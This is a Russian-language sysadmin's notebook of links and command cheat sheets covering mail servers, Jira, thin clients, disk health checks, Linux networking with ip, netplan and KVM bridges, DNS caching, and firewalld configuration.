Jenkins: установка и настройка Maven билда
Jenkins CI — вещи, которых мне не хватало
Домашний билд-тест-сервер

Jira
Подробное руководство по работе в JIRA
JIRA — инструмент для тестирования и управления проектами
Debian + Nginx + JIRA + Confluence
Установка Atlassian Confluence и Jira на postgres и CentOS7
Установка JIRA Software Server (CentOS7/PostgreSQL/Nginx/SSL)
Установка Atlassian Confluence
Установка Jira и Confluence на Ubuntu 16.04 с MySQL
Установка JIRA и Confluence + nginx + MySQL на Debian

https://www.manageengine.com/ru/desktop-central/
https://www.dameware.com/


Тонкие клиенты



https://wtware.ru
Обзор тонкого терминального клиента WTware
WTware для Raspberry Pi Операционная система тонких клиентов
http://thinstation.github.io/thinstation/
https://webthinstation.at.ua/
Thinstation по русски
Thinstation Доработка тонкого клиента
Разворачиваем сеть тонких клиентов Thinstation с подключением к серверу Windows Server 2012 R2 Remote Desktop Services
LTSP: Терминальный сервер на Linux
Как я мучился, поднимая LTSP со сторонним TFTP-сервером


Почта



http://help.ubuntu.ru/wiki/postfix
http://postfixadmin.sourceforge.net/
https://roundcube.net/
https://www.rainloop.net/
Обзор и установка почтового сервера iRedMail
Полноценный почтовый сервер с iRedMail на Ubuntu
Установка почтового сервера iRedMail. Внедрение и поддержка (MySQL back-end)
Почтовый сервер iRedMail, резервное копирование и восстановление
Настройка почтового сервера iRedMail на CentOS 7
Почтовый сервер Postfix на CentOS 7 с виртуальными доменами, системой управления, веб-доступом и многим другим
Пошаговая инструкция установки Postfix и Dovecot на Ubuntu
Установка и настройка Postfixadmin
Минимальный почтовый сервер на основе Postfix и Dovecot. Часть 1: Dovecot
Минимальный почтовый сервер на основе Postfix и Dovecot. Часть 2: Postfix
Настройка postfix + dovecot + mysql база + postfixadmin + roundcube + dkim на CentOS 7
Debian: Строим почтовый сервер: Postfix виртуальные пользователи, SSL
FreeBSD: Почтовая система среднего офиса на базе Postfix
Конфигурационный файл настройки postfix
Устанавливаем почтовый сервер. Часть первая
Устанавливаем почтовый сервер. Часть вторая
Устанавливаем почтовый сервер. Часть третья
Почтовая связка vexim в сборе (vexim+exim+dovecot+mysql+sa+clamav+mailman) под Debian
Утилиты для работы с почтовым сервером Exim.Часть1
Утилиты для работы с почтовым сервером Exim.Часть2

Exchange
https://www.systoolsgroup.com/exchange-recovery.html
Восстановление отдельного почтового ящика
Указания по восстановлению удаленного почтового ящика
Настройка Apache Reverse Proxy для MS Exchange 2010, 2013, 2016 (Debian 8 Jessie/Ubuntu 14.04 Trusty Tahr)
Exchange PowerShell
http://get-powershell.ru/2015/bazy-dannyh-exchange/
https://www.dmosk.ru/miniinstruktions.php?mini=exchange-base
Имя "Get-MailboxDatabase" не распознано как имя командлета,
Если PowerShell запускается с сервера где стоит Exchange, то достаточно сперва запустить
add-pssnapin Microsoft.Exchange.Management.PowerShell.Admin
Get-Command *database*
Get-MailboxDatabase
Get-MailboxDatabase -status | Select Identity,DatabaseSize
Get-MailboxDatabase База
Для просмотра почтовых ящиков находящихся в базе данных Exchange используем следующую команду
get-mailbox -Database База



Телефония


Биллинг



Каталог биллинговых систем
BGBilling 7.0
BGBilling 6.1
Выделение ресурса VLAN на шлюз
http://docs.carbonsoft.ru/display/CarbonBilling/Home
http://www.netup.ru/UTM5/documentation.php
------------------------------------------------------------------------
Pythonix. Первоначальная настройка
https://bitbucket.org/tramX/pythonix4/downloads/
Разработка своей системы биллинга на Django
https://pypi.python.org/pypi/django-customer-billing


Шифрование



Руководство по Охране приватности GNU GnuPG
https://wiki.archlinux.org/index.php/GnuPG_(Русский)
https://wiki.archlinux.org/index.php/GNOME/Keyring
https://incenp.org/notes/2015/gnupg-for-ssh-authentication.html
Использование PGP/GPG, руководство для нетерпеливых
Пользование программой ввода пароля pinentry


нужное



коротко об systemd
Как посмотреть логи windows
Список кодов ошибок Windows BSoD
Анализ реестра Windows
powershell команды управления виртуальными машинами

Debian и Ubuntu, напильник, рецепты, часть 1
ubuntu 16.04 и напильник
подборка сисадмина
uzverss подборка по телефонии

софтинки
среда рабочего стола
https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/winpe-intro
Windows USB/DVD Download Tool
ERD Commander (Microsoft DaRT)
Как пользоваться одной из легендарных программ по диагностике жёстких дисков под названием Victoria!
https://hdd.by/victoria.html
https://crystalmark.info/en/download/#CrystalDiskInfo
https://www.r-studio.com/ru/free-linux-recovery/
https://www.cgsecurity.org/wiki/TestDisk_Download
https://www.hex-rays.com/products/ida/support/download_freeware.shtml

Вместо бубна: огромная подборка инструментов сисадмина
Более чем 80 средств мониторинга системы Linux

Современные RAID контроллеры Adaptec от А до Я
https://www.adaptec.com/nr/pdfs/Adaptec-Controllers-AtoZ.pdf

специализированные ремонтные и минимальные образы

https://www.webmin.com/
https://cockpit-project.org/
http://vestacp.com/
https://ajenti.org/
https://www.rundeck.com/open-source

https://dban.org/
https://sourceforge.net/projects/dban/

для винды
https://live.sysinternals.com/
https://technet.microsoft.com/ru-ru/sysinternals/default.aspx

при наличие быстрого инета под Windows можно написать:
net use y: \\live.sysinternals.com\tools
y: надо заменить на любую свободную от примапленных дисков букву

https://technet.microsoft.com/ru-ru/sysinternals/
ExtPart.exe

http://www.nirsoft.net/utils/nircmd.html
Узнать ключ активации Windows

https://pentestbox.org/
https://github.com/stascorp/rdpwrap/
http://bb4win.sourceforge.net/



разное



https://prism-break.org/ru/categories/servers/

Fzf for the Win
https://github.com/junegunn/fzf/wiki/examples

Мастеру на все руки: 5 лучших инструментов для DevOps
Настройка прокси сервера на CentOS 7 (squid+AD+sams2)
Установка и настройка прокси сервера на Freebsd 10 (squid+sams2)
OpenWrt Система UCI

Redis и области его применения
Redis — главное хранилище? Что за хрень?!

Самый быстрый и надежный способ удалить все файлы в каталоге — rsync
Наиболее используемые команды MySQL

всякое полезное
Что делать, когда на сервере кончаются файловые дескрипторы (inode)
df -i
find / -type d -size +4096 -exec sh -c " ls -d {} && ls {} | wc -l" \;

Аналог victoria (тест поверхности HDD,SSD) под Linux, существует ли?
Посмотреть данные SMART smartctl -iHA
Прогнать самотестирование: smartctl -t long (результаты смотреть через ндцать часов smartctl -a)
Проверить/исправить/очистить диск - badblocks -w -svb4096
badblocks -n чтобы намагниченность обновлять

Проверка диска на битые секторы Linux
sudo fdisk -l

если файловая система размонтирована, выполнить тест с записью
sudo badblocks -vn /dev/sda2 -o ~/bad_sectors.txt

если были обнаружены битые блоки, надо сообщить о них файловой системе, чтобы она не пыталась писать туда данные
fsck -l ~/bad_sectors.txt /dev/sda1

опции badblocks
    -e - позволяет указать количество битых блоков, после достижения которого дальше продолжать тест не надо;
    -f - по умолчанию утилита пропускает тест с помощью чтения/записи если файловая система смонтирована чтобы её не повредить, эта опция позволяет всё таки выполнять эти тесты даже для смонтированных систем;
    -i - позволяет передать список ранее найденных битых секторов, чтобы не проверять их снова;
    -n - использовать безопасный тест чтения и записи, во время этого теста данные не стираются;
    -o - записать обнаруженные битые блоки в указанный файл;
    -p - количество проверок, по умолчанию только одна;
    -s - показывать прогресс сканирования раздела;
    -v - максимально подробный режим;
    -w - позволяет выполнить тест с помощью записи, на каждый блок записывается определённая последовательность байт, что стирает данные, которые хранились там раньше.


если на разделе файловая система семейства Ext, то для поиска битых блоков и автоматической регистрации их в файловой системе можно использовать команду e2fsck
sudo e2fsck -cfpv /dev/sda1

Параметр -с позволяет искать битые блоки и добавлять их в список, -f - проверяет файловую систему, -p - восстанавливает повреждённые данные, а -v выводит всё максимально подробно.

проще и нагляднее использовать WHDD
https://github.com/whdd/whdd

проверка диска, разделы можно проверять примонтироваными, причем можно сразу весь диск.
https://www.gnu.org/software/ddrescue/manual/ddrescue_manual.html
ddrescue --force /dev/sda /dev/null


https://hdd.by/Victoria/vcr35cd.zip
https://hdd.by/Victoria/mhdd32ver4.6iso.zip
https://hdd.by/Victoria/Windows7-10PE.zip



команда ip
https://losst.ru/nastrojka-seti-v-linux
https://packetpushers.net/linux-ip-command-ostensive-definition/

СИНТАКСИС
Сначала рассмотрим синтаксис команды:

ip [опции] объект команда [параметры]
опции — это глобальные настройки, которые сказываются на работе всей утилиты независимо от других аргументов, их указывать необязательно.
объект — объект или устройство, с которым будем работать или о котором будем узнавать информацию.
команды — какое-либо действие с объектом.
параметры — само собой, командам иногда нужно передавать параметры, они передаются в этом пункте.

ОПЦИИ
Поддерживаются такие опции для настройки сети в lInux:
-v — только вывод информации об утилите и ее версии
-s — включает вывод статистической информации
-f — позволяет указать протокол, с которым нужно работать, если протокол не указан, то берется на основе параметров команды. Опция f должна принимать одно из значений: bridge, dnet, inet, inet6, ipx или link. По умолчанию используется inet, link — означает отсутствие протокола.
-o — выводить каждую запись с новой строки
-r — выполнять резолвинг и выводить символические имена хостов

Все остальные опции — ярлыки опции -f:
-4 — ярлык для -f inet
-6 — -f inet6
-B — -f bridge
-0 — -f link

ОБЪЕКТЫ
address — сетевой адрес на устройстве
link— физическое сетевое устройство
monitor — мониторинг состояния устройств
neigh — ARP
route — управление маршрутизацией
rule — правила маршрутизации
tunnel — настройка туннелирования

Во время ввода имя объекта может быть сокращено до одной буквы. При неоднозначности используется алфавитный порядок. Например, ip a show, расшифровывается как ip address show. Тогда как в ip r show, r - означает route.

КОМАНДЫ
Теперь рассмотрим доступные команды, с помощью которых может быть выполнена настройка сети linux. Вот они: add, change, del или delete, flush, get, list или show, monitor, replace, restore, save, set, и update.

Если команда не задана, по умолчанию используется show (показать).

Здесь тоже поддерживается сокращение и в большинстве случаев для выполнения нужного действия достаточно нескольких символов. Но алфавитный порядок соблюдается не всегда. Например, ip a s, означает ip address show, а не ip address set, к сожалению.

ПАРАМЕТРЫ
Параметры зависят от объекта и указанной команды. Рассмотрим самые основные:

dev имя_устройства - сетевое устройство
up - включить
down - выключить
llarrr - MAC - адрес
initcwnd - размер окна перегрузки TCP при инициализации
window - размер окна TCP
cwnd - размер окна перегрузки TCP
type - тип
via - подключиться к роутеру
default - маршрут по умолчанию
blackhole - маршрут "черная дыра" - отбрасывать пакеты и не посылать ICMP сообщения о недоступности
prohibit - маршрут "запрета" - отбрасывать пакеты и возвращать ICMP сообщения о запрете доступа
unreachable - маршрут "недостижимый" - отбрасывать пакеты и посылать ICMP пакеты о недостижимости узла.

ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ

IP LINK
Утилита ip в Linux с параметром linux позволяет управлять состоянием сетевых интерфейсов и просматривать информацию о них.

ip link show - отобразить состояние всех сетевых интерфейсов
ip l sh - то же самое
ip ll - то же самое
ip l - то же самое
ip link show eth0 - отобразить состояние eth0
ip link list up - отобразить статус всех включенных интерфейсов
ip link set eth1 up - включить eth1
ip link set eth1 down выключить eth1

IP NEIGBOUR
Объект neigbour используется для управления ARP таблицами.

ip neigh show - показать все записи ARP
ip n sh - то же самое
ip n l - то же самое
ip n - то же самое
ip neigh show dev eth0 - посмотреть все ARP записи для eth0
ip neigh flush - удалить все ARP записи
ip ne fl dev eth0 - удалить все ARP записи для eth0
ip nei add 1.1.1.13 lladdr AA:BB:CC:DD:EE:FF dev eth0 - добавить ARP запись для определенного IP адреса.
ip n del 1.1.1.13 dev eth0 - удалить все записи для указанного адреса

IP ADDRESS
Важно заметить, что вторичные ip адреса не используются в качестве исходящих адресов для отправки пакетов.

ip address show - показать все ip адреса и их интерфейсы
ip a sh - то же самое
ip a list - то же самое
ip a - то же самое
ip a l permanent - отобразить только статические ip адреса
ip a l dynamic - отобразить только динамические ip адреса
ip addr add 1.1.1.13/24 dev eth0 - установить ip адрес для интерфейса eth0
ip addr del 1.1.1.13/24 dev eth0 - удалить ip адрес интерфейса eth0
ip add flush dev eth0 - удалить все ip адреса интерфейса eth0

IP ROUTE
Утилита ip в Linux позволяет не только устанавливать ip адреса, но и настраивать маршруты. По умолчанию в Linux используется таблица маршрутизации 254, вы также можете иметь дело с таблицей 255, которую не следует изменять, а также 253, в которой хранятся маршруты по умолчанию.

ip r sh показать все маршруты в таблице маршрутизации
ip route show table nnn - отобразить все маршруты из таблицы 255
ip route get 10.10.20.0/24 - отобразить маршрут к этой сети
ip route get 10.10.20.0/24 from 192.168.12.9 - отобразить маршрут к этой сети от указного интерфейса.
ip route add 10.10.20.0/24 via 192.168.50.100 - создать маршрут
ip route delete 10.10.20.0/24 - удалить маршрут.
ip route del 10.10.20.0/24 via 192.168.50.100 - удалить маршрут.
ip route add default via 192.168.50.100 - создать маршрут по умолчанию.
ip route add 10.10.20.0/24 dev eth0 - создать маршрут к указной сети.
ip route add table nnn 10.10.20.0/24 dev eth0 - создать маршрут в специальной таблице роутинга.
ip route add blackhole 10.10.20.0/24 dev eth0 - создать blackhole маршрут.
ip route add unreachable 10.10.20.0/24 dev eth0 - создать unreachable маршрут.


Использование route
https://www.centos.org/docs/5/html/5.2/Deployment_Guide/s1-networkscripts-static-routes.html

Просмотреть таблицу можно следующими способами:
route -n (устаревшее)
netstat -rn
ip route show
cat /proc/net/route

route -f операция -тип адресат шлюз интерфейс
Команда route -f удаляет из таблицы данные обо всех шлюзах

Добавление маршрута через шлюз:
route add -net 192.168.0.0/16 gw 10.0.0.1
route add -net 192.168.0.0 netmask 255.255.255.0 gw 10.0.0.1

Добавление маршрута через интерфейс:
route add -net 192.168.0.0/16 dev eth1

Маршрут до отдельного хоста:
route add -host 192.168.0.1 gw 172.16.0.1

Маршрут по умолчанию настраивается следующей командой:
route add default gw 192.168.1.1 eth0

Удаление маршрута: route del ..


настройка сети для убунтовых
https://uzverss.livejournal.com/79797.html (Настройки, работа с сетевыми интерфейсами )
https://netplan.io/examples

nano /etc/netplan/01-network-manager-all.yaml
простой конфиг




в этом случае libvirt (kvm qemu) машины ходят в сеть по дефолтной конфигурации, находясь за nat


посложней, несколько адресов, на одном интерфейсе




здесь надо создавать br0 для libvirt (см ниже настройка сети KVM)

netplan --debug apply

netplan try
systemctl restart systemd-networkd
networkctl status -a

ip link set enp3s0 up
ip link set enp3s0 down


настройка сети для rhel
Настройка сети в CentOS 7

Устанавливаем статический ip
узнаём интерфейс
ip a

nano /etc/sysconfig/network-scripts/ifcfg-интерфейс



ip neig flush all # очистить кэш arp
systemd-resolve --flush-caches # очистить кэш dns имён
systemctl restart systemd-resolved # обновить dns
sudo /etc/init.d/dns-clean start # очистить кэш dns имён для старых os

ip ro
yum install net-tools # нужен для роутинга

route add default gw 192.168.1.1 # добавить шлюз по умолчанию
route del default gw 192.168.1.1 # удалить шлюз по умолчанию
route add -net 192.168.2.0/24 gw 192.168.1.2 # дополнительный роутинг
route delete -net 192.168.1.0 # удалить маршрут

лучше обойтись без net-tools, поскольку он устарел
ip route add default via 192.168.1.1
ip route add default via 192.168.1.1

https://www.centos.org/docs/5/html/5.2/Deployment_Guide/s1-networkscripts-static-routes.html
Для того чтобы добавленные маршруты работали после перезапуска системы необходимо прописать их в /etc/sysconfig/network-scripts/route-имя_интерфейса
default 192.168.0.1 dev eth0
10.10.10.0/24 via 192.168.0.1 dev eth0
172.16.1.0/24 via 192.168.0.1 dev eth0

systemctl restart network


для винды
NIC Teaming в Windows Server 2012
Объединения сетевых адаптеров NIC Teaming в Windows server 2012 R2


настройка сети KVM
http://www.linux-kvm.org/page/HOWTO
Enabling Intel VT and AMD-V virtualization hardware extensions in BIOS
Гость может связаться с внешней сетью, но не может получить доступ к хосту (macvtap)
http://onreader.mdl.ru/MasteringKVMVirtualisation/content/Ch05.html
https://wiki.libvirt.org/page/Networking
https://libvirt.org/formatnetwork.html
KVM: Creating a bridged network with NetPlan on Ubuntu 22.04
uzverss первый запуск OpenWRT на QEMU

LC_ALL=C lscpu | grep Virtualization
cat /proc/cpuinfo |egrep "vmx|svm"
grep -E --color=auto 'vmx|svm|0xc0f' /proc/cpuinfo
lsmod | grep kvm

modprobe kvm-amd
sudo apt-get install cpu-checker
kvm-ok

sudo apt-get install virt-manager
sudo usermod -aG libvirtd `id -un`
sudo virsh net-start default

Создание сети мостов KVM Linux NAT
использовать существующую default конфигурацию сети для создания нового сетевого устройства
virsh net-dumpxml default > br0.xml




в virt-manager добавить сетевое устройство и выбрать br0, адрес будет не за виртуальным nat

определить сеть из файла XML без ее запуска
virsh net-define /etc/libvirt/qemu/networks/br0.xml

запустить (ранее определенную) неактивную сеть
virsh net-start br0

создать переходную сеть, которая не может быть настроена на использование автозапуска
virsh net-create br0.xml

добавить сеть в автозапуск
virsh net-autostart br0

Проверить, включен ли флаг автозапуска
virsh net-list --all

преобразовать сетевое имя в UUID сети
virsh net-uuid br0

проверка доступных мостов в вашей системе
brctl show br0

ip addr show dev br0

Удаление сети
отключить сеть, чтобы поместить ее в неактивный режим
virsh net-destroy br0

проверить
virsh net-undefine br0

brctl show br0

перезапустить
service libvirtd restart

добавить br0 интерфейс к vm, pxe который будет настроен как сервер среды Preboot eXecution.
# virsh attach-interface --domain pxe --type bridge --source br0 --model virtio --config --live
# virsh domiflist pxe

Отсоединение интерфейса, подключенного к виртуальной машине
# virsh detach-interface --domain pxe --type bridge --mac 52:54:00:47:2f:eb --config
# virsh domiflist pxe

на виртуалке
/etc/network/interfaces


dhclient -v enp7s0
route add default gw 10.1.0.1 enp7s0
ping -I enp7s0 ya.ru



Создание моста Linux с помощью brctl

Создайте новый мост:
# brctl addbr br0

Добавьте устройство к мосту, например eth0:
# brctl addif br0 eth0

Назначение IP-адреса
# ip addr add dev br0 192.168.2.4/24
# ip route add default via 192.168.2.1 dev br0

Покажите текущие мосты и с каким интерфейсом они связаны:
# brctl show

Установите мостовое устройство вверх:
# ip link set up dev br0

Удалите мост, вам нужно сначала установить его вниз:
# ip link set dev br0 down
# brctl delbr br0


DHCP
Для получения настроек по DHCP, выполняем следующую команду:
dhclient eth0

Для отключения получения IP адреса по DHCP, выполняем следующую команду:
killall dhclient


DNS
update-resolve-conf
cat /etc/resolv.conf
# Generated by NetworkManager
nameserver 8.8.8.8
nameserver 8.8.4.4

echo "nameserver 8.8.8.8" >> /etc/resolv.conf

Если система использует systemd-resolved, то указанный выше IP-адрес будет 127.0.0.53

systemd-resolved
Настройка кеширования DNS с помощью systemd-resolved
resolvectl status
files – считывание настроек из файла /etc/hosts (имеет наивысший приоритет);
myhostname – считывание имени текущего хоста;
resolve [!UNAVAIL=return] – считывание настроек с помощью локального кеширующего DNS-сервера, systemd-resolved поддерживает внутренний каталог с собственным файлом resolv.conf;
dns – обращение напрямую к DNS-серверам (имеет низший приоритет).

vim /etc/systemd/resolved.conf
Указать список основных и запасных DNS. Для этого раскомментируйте параметры DNS= и FallbackDNS= и укажите свои значения.
В параметре DNS= рекомендуется указывать IP-адрес главного маршрутизатора в локальной сети.
В параметре FallbackDNS= рекомендуется указывать любые публичные DNS-серверы, например, 77.88.8.88 – бесплатный DNS-сервер от Яндекс.
При необходимости раскомментируйте и укажите нужные значения для следующих параметров:
DNSSEC=yes – набор расширений протокола DNS, позволяющий минимизировать атаки, связанные с подменой IP-адреса при разрешении доменных имён;
DNSOverTLS=yes – стандартный протокол для выполнения разрешения удалённой системы DNS с использованием TLS;
MulticastDNS=no – многоадресный DNS для поиска устройства или службы по имени в локальной сети;
LLMNR=no – протокол стека TCP/IP, выполняющий разрешение имён хостов в локальной сети.
Включите кеширование, раскомментировав параметр Cache= и установив значение yes.
После настройки конфигурационного файла выполните перезапуск службы systemd-resolved и проверьте её статус:

systemctl restart systemd-resolved
systemctl status systemd-resolved
systemctl enable systemd-resolved.service --now


проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80


частые команды
ifdown enp3s0
ifup enp3s0

ip link set enp3s0 up - включить enp3s0
ip link set enp3s0 down выключить enp3s0
ip link set wlan0 down - деактивировать wlan0 (ifconfig wlan0 down)
ip link set wlan0 up -активировать wlan0 (ifconfig wlan0 up)

ip link show up
ip address

ip a - узнать интерфейсы
ip addr add 192.168.100.12/24 dev enp3s0 - изменить адрес
ip addr del 192.168.100.5/24 dev enp3s0 - удалить адрес

ip addr add 172.17.2.11/16 brd + dev br0 - добавить дополнительный адрес
ip addr del 172.17.2.11/16 dev br0 - удалить дополнительный адрес


ifconfig enp3s0 192.168.100.12 netmask 255.255.255.0
ifconfig eth0 192.168.100.12 netmask 255.255.255.0

dhclient enp3s0 - получить по dhcp адрес
dhclient -r - удалить его

ip r sh

ip route add 10.0.0.0/24 via 192.168.1.50
route add -net 192.168.100.0/24 dev eth2
ip route delete 10.0.0.0/24

post-up route add -net 10.0.0.0 netmask 255.255.255.0 gw 192.168.1.50
pre-down route del -net 10.0.0.0 netmask 255.255.255.0 gw 192.168.1.50

service networking restart
/etc/init.d/networking restart

ethtool eth0
изменить скорость сетевой карточки до 100Mb/s в случае, если там стояла другая скорость.
ethtool -s eth0 speed 100 duplex full

sudo lspci - список pci устройств, среди которых есть и сетевые карты
sudo lspci -v подробнее; sudo lspci -vv - еще подробнее; sudo lspci -vvv - подробнее не бывает :)
sudo lshw - список оборудования, можно посмотреть и логическое имя сетевой карты
sudo lshw -class network список сетевого оборудования с логическими именами
ifconfig, rourte и netstat - устаревшие команды (legacy), вместо них нужно использовать ip и ss


Network namespace - виртуальный сетевой стек в linux
Примеры применения Linux network namespaces (netns)

Команда для очистки ARP кэша в Linux
ip neig flush all

Команда для очистки DNS кэша в Linux
systemd-resolve --flush-caches
systemctl restart systemd-resolved

systemd-resolve --status

ошибки
Определение правильного MTU
ping -M do -s 1500 -c 1 www.example.com
Уменьшайте значение 1500 на 10 каждый раз, пока пинг не будет успешным. Как только пинг завершится успешно, используемым значением будет MTU, которое вы должны использовать.

разное
Network namespaces или несколько виртуальных сетевых карт (интерфейсов) с разными IP на одной машине.
Добавление дополнительных network namespaces к уже настроенным.
Настройте локальный DNS-преобразователь в Ubuntu 20.04 с BIND9
Как заблокировать IP адрес с помощью ufw на Ubuntu Linux

nano /etc/ufw/before.rules
# Block страница блокировки РосТелеком
-A ufw-before-input -s 95.167.13.50 -j DROP
-A ufw-before-input -s 95.167.13.51 -j DROP

ufw reload

nano /etc/host
127.0.0.1 warning.rt.ru

Блокировку Роскомнадзора можно обойти, добавив точку в конец адреса web-сайта






chmod +x post_install.sh




https://gist.github.com/waleedahmad/
http://web.archive.org/web/20170704190338/https://linuxthebest.net/posleustanovochnyy-skript-dlya-ubuntulinux-mint/



firewall-cmd
Создание мультизональных конфигураций межсетевого экрана с помощью Firewalld
Firewalld, установка и настройка, зоны, NAT, проброс портов
Настройка firewalld CentOS 7 с примерами команд
Использование ipset во встроенном брандмауэре CentOS 7
vpn pptp centos7

13 - Готовим CentOS 7. Установка и настройка firewalld
Установка
yum -y install firewalld

Запуск
systemctl start firewalld

Статус
systemctl status firewalld

Зоны
- drop – входящие сетевые пакеты сбрасываются, без ответа, допускаются только исходящие соединения
- block – входящие сетевые соединения отклоняются с сообщением icmp-host-prohibited, допускаются только сетевые соединения инициированные внутри нашей системы.
- public – при недоверии к компьютерам, разрешается устанавливать только конкретные входящие соединения.
- external – для использования во внешних сетях с разрешенным маскарадингом, особенно для роутеров, разрешается устанавливать только конкретные входящие соединения
- dmz – для компьютеров собственной demilitarized zone которые публично доступны с ограниченным доступом к нашей внутренней сети, разрешается устанавливать только конкретные входящие соединения.
- work/home/internal – максимальное доверие к компьютерам, уверенность в том, что они не приченят вреда нашему компьютеру, разрешается устанавливать только конкретные входящие соединения
- trusted – все сетевые соединения разрешены.

Посмотреть текущую зону
firewall-cmd --get-default-zone

Для смены зоны например на home
firewall-cmd --set-default-zone=home

Либо непосредственно в конфиге
nano /etc/firewalld/firewalld.conf

Получить текущую конфигурацию для нашей зоны public
firewall-cmd --zone=public --list-all

После внесение изменений перезагрузить FirewallD можно так
firewall-cmd --reload

режим паники, блокирующий все сетевые соединения
firewall-cmd --panic-on

отмена режима паники
firewall-cmd --panic-off

добавить порт к зоне
firewall-cmd [--zone=] --add-port=[-]/ [--timeout=]

удалить порт из зоны
firewall-cmd [--zone=] --remove-port=[-]/ [--timeout=]


Добавим 80 порт в доверенные
firewall-cmd --permanent --add-port=80/tcp

Посмотреть список сервисов
firewall-cmd --list-services

Добавим ssh в доверенные
firewall-cmd --permanent --add-port=2222/tcp

firewall-cmd --reload

Посмотрим что получилось
firewall-cmd --list-all

Ставим в автозагрузку
systemctl enable firewalld


netstat -tulpn

firewall-cmd --zone=public --remove-port=443/tcp --permanent
firewall-cmd --zone=public --remove-port=80/tcp --permanent
firewall-cmd --zone=public --remove-port=22/tcp --permanent
firewall-cmd --zone=public --remove-service=dhcpv6-client --permanent

firewall-cmd --zone=public --add-service=ssh --permanent
firewall-cmd --zone=public --add-service=http --permanent
firewall-cmd --zone=public --add-service=https --permanent
firewall-cmd --zone=public --add-port=3128/tcp --permanent

firewall-cmd --reload
firewall-cmd --zone=public --list-ports
firewall-cmd --zone=public --list-services

firewall-cmd --zone=external --list-ports
firewall-cmd --zone=external --list-services

firewall-cmd --zone=external --change-interface=enp3s0 --permanent
firewall-cmd --zone=external --remove-service=ssh --permanent
firewall-cmd --get-active-zones

firewall-cmd --zone=external --list-services
firewall-cmd --list-all
firewall-cmd --get-services
systemctl restart firewalld

http://fliplinux.com/ip-cen.html
«белый список»
firewall-cmd --permanent --zone=public --add-source=192.168.100.0/24
firewall-cmd --permanent --zone=public --add-source=192.168.222.123/32


firewall-cmd --permanent --new-ipset=IP-users --type=hash:net
firewall-cmd --ipset=IP-servers --add-entry=192.168.0.0/24 --permanent
firewall-cmd --ipset=IP-servers --add-entry=192.168.200.12 --permanent
firewall-cmd --ipset=IP-servers --add-entry=192.168.200.200 --permanent

firewall-cmd --ipset=IP-servers --remove-entry=192.168.20.0/24 --permanent

firewall-cmd --ipset=IP-servers --get-entries
firewall-cmd --permanent --zone=public --add-rich-rule='rule source ipset="IP-servers" service name="ssh" accept'

firewall-cmd --remove-rich-rule='rule source ipset=IP-users service name="http" drop' --permanent

firewall-cmd --permanent --zone=public --list-rich-rules

чтобы все пользователи (список ipset IP-users) ходили через squid несмотря на net.ipv4.ip_forward=1
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp3s0 -o enp1s0 -m set --match-set IP-servers src -j ACCEPT
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp1s0 -o enp3s0 -m set --match-set IP-servers src -j ACCEPT

firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp3s0 -o enp1s0 -j DROP
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp1s0 -o enp3s0 -j DROP

открыть Google Play
firewall-cmd --zone=public --add-port=5228/tcp --permanent
firewall-cmd --zone=external --add-port=5228/tcp --permanent

firewall-cmd --reload
systemctl restart firewalld

iptables -S
ls /usr/lib/firewalld/services/
cat /usr/lib/firewalld/services/ipsec.xml

/etc/firewalld/services/l2tp.xml




/etc/firewalld/services/pptp.xml




chmod 640 /etc/firewalld/services/*.xml restorecon /etc/firewalld/services/*.xml
Контексты SELinux - Маркирование файлов

firewall-cmd варианты
firewall-cmd --direct --permanent --add-rule ipv4 nat POSTROUTING 0 -o enp3s0 -j MASQUERADE
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp1s0 -o enp3s0 -j ACCEPT
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp3s0 -o enp1s0 -m state --state RELATED,ESTABLISHED -j ACCEPT


Разрешение подобрать своё





чтобы работало при старте



В Xfce в диспетчере настроек "Сеансы и запуск" добавляем приложение и ставим галочку.
или
apt install arandr

http://zarubochki.ru/node/61




Debian и Ubuntu, напильник, рецепты, часть 1

ознакомиться
Ошибки
https://askubuntu.com/
https://askubuntu.ru/
https://ask-ubuntu.ru/

grub
Grub2 не обнаруживает раздел btrfs



если grub rescue
ls
set root=hd0,1
linux /boot/vmlinuz root=/dev/sda1 ro
initrd /boot/initramfs.img
boot


root не видит программ в sbin
echo "export PATH=$PATH:/sbin:/usr/sbin" >> /root/.bashrc

заодно, если нет, в $HOME/.bashrc
export PATH="$HOME/bin:$HOME/.local/bin:$PATH"

зависает намертво

проверить хватает ли питания материнке:
вытащить клаву и подвигать мышку

затем отключить аппаратное ускорение в хроме
Откройте «Настройки» Google Chrome.
нажмите «Показать дополнительные настройки».
В разделе «Система» отключите пункт «Использовать аппаратное ускорение

удалить nouveau (если глючит видеокарта и поставить пропиетарный)
sudo aptitude install ubuntu-restricted-extras
lspci -k | grep -EA2 'VGA|3D'
lspci -vnn | grep -i VGA
ubuntu-drivers devices
sudo ubuntu-drivers autoinstall
или через
sudo add-apt-repository ppa:graphics-drivers/ppa

Проверка состояния жесткого диска
Проверка состояния жесткого диска
проверить диск на бедблоки
sudo fdisk -l
sudo umount /dev/sda

https://man7.org/linux/man-pages/man8/badblocks.8.html
https://www.opennet.ru/man.shtml?topic=badblocks&category=8&russian=0
sudo badblocks -vn /dev/sda -o ~/bad_sectors.txt
sudo badblocks -sv /dev/sda

sudo badblocks -w -svb4096 /dev/sda
не применяйте параметр -w на устройстве, которое содержит используемую файловую систему. Этот параметр приводит к уничтожению информации на диске

sudo fsck -f -c /dev/sda
sudo e2fsck -cfpv /dev/sda
sudo apt install smartmontools
sudo smartctl –info /dev/sde
sudo smartctl -s on -a /dev/sde
sudo smartctl -H /dev/sda
sudo smartctl -iHA /dev/sdb           # Посмотреть данные SMART
sudo smartctl -t long /dev/sdb        # запуск теста
sudo smartctl -l selftest /dev/sda    # посмотреть как выполняется
sudo smartctl -a /dev/sdb

Наиболее важные атрибуты отмечены как pre_fail в колонке TYPE.
1 Raw_Read_Error_Rate — количество ошибок чтения. На дисках Seagate и Samsung большие значения - норма.

2 Spin_Up_Time — время раскрутки диска из состояния покоя до рабочей скорости. Растет при износе диска.

